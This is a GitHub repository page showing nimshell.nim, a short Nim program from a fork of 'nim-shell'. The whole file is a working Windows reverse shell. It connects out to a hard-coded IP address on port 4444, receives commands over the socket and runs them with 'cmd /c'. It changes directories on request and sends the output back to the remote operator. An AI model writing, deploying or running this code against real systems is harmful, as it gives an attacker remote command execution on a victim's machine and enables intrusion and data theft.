forked from emrekybs/nim-shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
nimshell.nim
51 lines (36 loc) · 980 Bytes
/
nimshell.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import net, os, osproc, strutils
proc executeCommand(command: string): string =
result = execProcess("cmd /c " & command)
var
socket = newSocket()
var
myIP = "192.168.1.25"
myPort = "4444"
let
exitMessage = "Exiting.."
changeDirectoryCommand = "cd"
defaultDirectory = "C:\\"
try:
socket.connect(myIP, Port(parseInt(myPort)))
while true:
socket.send(os.getCurrentDir() & "> ")
let command = socket.recvLine()
if command == "exit":
socket.send(exitMessage)
break
if command.strip() == changeDirectoryCommand:
os.setCurrentDir(defaultDirectory)
elif command.strip().startswith(changeDirectoryCommand):
let directory = command.strip().split(' ')[1]
try:
os.setCurrentDir(directory)
except OSError as error:
socket.send(repr(error) & "\n")
continue
else:
let result = executeCommand(command)
socket.send(result)
except:
raise
finally:
socket.close